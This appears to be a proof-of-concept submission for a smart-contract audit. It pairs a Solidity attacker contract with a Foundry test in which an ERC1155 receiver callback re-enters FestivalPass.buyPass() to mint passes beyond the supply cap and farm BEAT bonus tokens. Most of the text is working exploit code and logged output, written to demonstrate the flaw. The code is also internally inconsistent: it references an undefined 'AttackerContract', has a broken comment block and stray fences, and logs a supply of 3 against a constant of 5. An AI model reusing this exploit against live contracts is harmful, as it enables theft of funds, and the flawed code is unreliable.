pragma solidity 0.8.25;
import {IERC1155Receiver} from "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
import {FestivalPass} from "../src/FestivalPass.sol";
contract ReentrancyAttacker is IERC1155Receiver {
FestivalPass public immutable festivalPass;
uint256 public maxReentries = 50;
uint256 public currentReentries = 0;
constructor(FestivalPass _festivalPass) {
festivalPass = _festivalPass;
}
function attack() external payable {
currentReentries = 0;
festivalPass.buyPass{value: msg.value}(2);
}
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes calldata
) external override returns (bytes4) {
if (currentReentries < maxReentries) {
currentReentries++;
festivalPass.buyPass{value: 0.1 ether}(2);
}
return IERC1155Receiver.onERC1155Received.selector;
}
function onERC1155BatchReceived(
address,
address,
uint256[] calldata,
uint256[] calldata,
bytes calldata
) external pure override returns (bytes4) {
return IERC1155Receiver.onERC1155BatchReceived.selector;
}
function supportsInterface(bytes4 interfaceId) external pure override returns (bool) {
return interfaceId == type(IERC1155Receiver).interfaceId;
}
receive() external payable {}
}
```
```solidity
pragma solidity 0.8.25;
import "forge-std/Test.sol";
import {FestivalPass} from "../src/FestivalPass.sol";
import {BeatToken} from "../src/BeatToken.sol";
import {IERC1155Receiver} from "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
* @title ReentrancyAttackTest
* @dev Test to demonstrate the reentrancy vulnerability in FestivalPass.buyPass()
*
* The vulnerability exists because:
* 1. _mint() calls onERC1155Received() on the recipient if it's a contract
* 2. This callback happens BEFORE passSupply is incremented
* 3. Attacker can reenter buyPass() and bypass supply limits
*/
contract ReentrancyAttackTest is Test {
FestivalPass public festivalPass;
BeatToken public beatToken;
AttackerContract public attacker;
address public organizer;
uint256 constant VIP_PRICE = 0.1 ether;
uint256 constant VIP_MAX_SUPPLY = 5;
function setUp() public {
organizer = makeAddr("organizer");
beatToken = new BeatToken();
festivalPass = new FestivalPass(address(beatToken), organizer);
beatToken.setFestivalContract(address(festivalPass));
vm.prank(organizer);
festivalPass.configurePass(2, VIP_PRICE, VIP_MAX_SUPPLY);
attacker = new AttackerContract(festivalPass);
vm.deal(address(attacker), 10 ether);
}
function test_ReentrancyAttack_ByGettingAnExtraFreeNFT_WithoutPaying_AndExceeding_MaxSupply() public {
console.log("=== REENTRANCY ATTACK TEST ===");
console.log("VIP Pass Max Supply: 3");
console.log("VIP Pass Price: 100000000000000000");
assertEq(festivalPass.passSupply(2), 0, "Initial supply should be 0");
assertEq(
festivalPass.balanceOf(address(attacker), 2),
0,
"Attacker should have 0 passes initially"
);
console.log("\n--- Before Attack ---");
console.log("Current VIP supply:", festivalPass.passSupply(2));
console.log(
"Attacker VIP balance:",
festivalPass.balanceOf(address(attacker), 2)
);
console.log(
"Attacker BEAT balance:",
beatToken.balanceOf(address(attacker))
);
console.log("Attacker Eth balance before:", address(attacker).balance);
console.log("\n--- Executing Attack ---");
attacker.attack{value: VIP_PRICE}();
console.log("\n--- After Attack ---");
console.log("Current VIP supply:", festivalPass.passSupply(2));
console.log(
"Attacker VIP balance:",
festivalPass.balanceOf(address(attacker), 2)
);
console.log(
"Attacker BEAT balance:",
beatToken.balanceOf(address(attacker))
);
uint256 attackerPassBalance = festivalPass.balanceOf(
address(attacker),
2
);
uint256 currentSupply = festivalPass.passSupply(2);
uint256 attackerBeatBalance = beatToken.balanceOf(address(attacker));
assertTrue(
attackerPassBalance > 1,
"Attack should result in multiple passes"
);
assertTrue(
attackerPassBalance >= 3,
"Should have obtained multiple passes through reentrancy"
);
assertTrue(
attackerBeatBalance > 5e18,
"Should have multiple BEAT bonuses"
);
console.log("\n=== ATTACK SUCCESSFUL ===");
console.log("Passes obtained:", attackerPassBalance);
console.log("Attacker Eth balance after:", address(attacker).balance);
if (currentSupply > VIP_MAX_SUPPLY) {
console.log(
"Supply exceeded max by:",
currentSupply - VIP_MAX_SUPPLY
);
} else {
console.log(
"Current supply:",
currentSupply,
"Max supply:",
VIP_MAX_SUPPLY
);
}
console.log("Extra BEAT tokens:", attackerBeatBalance - 5e18);
}
function test_NormalUser_CannotExceed_MaxSupply() public {
console.log("=== NORMAL USER SUPPLY LIMIT TEST ===");
address normalUser = makeAddr("normalUser");
vm.deal(normalUser, 10 ether);
vm.startPrank(normalUser);
console.log("Eth balance before purchase:", address(normalUser).balance);
for (uint i = 0; i < VIP_MAX_SUPPLY; i++) {
festivalPass.buyPass{value: VIP_PRICE}(2);
}
console.log(
"Normal user VIP balance after purchases:",
festivalPass.balanceOf(normalUser, 2)
);
console.log(
"Normal user BEAT balance after purchases:",
beatToken.balanceOf(normalUser)
);
console.log("Eth balance before purchase:", address(normalUser).balance);
vm.expectRevert("Max supply reached");
festivalPass.buyPass{value: VIP_PRICE}(2);
vm.stopPrank();
console.log("Normal user correctly limited by max supply");
assertEq(festivalPass.passSupply(2), VIP_MAX_SUPPLY);
assertEq(festivalPass.balanceOf(normalUser, 2), VIP_MAX_SUPPLY);
}
}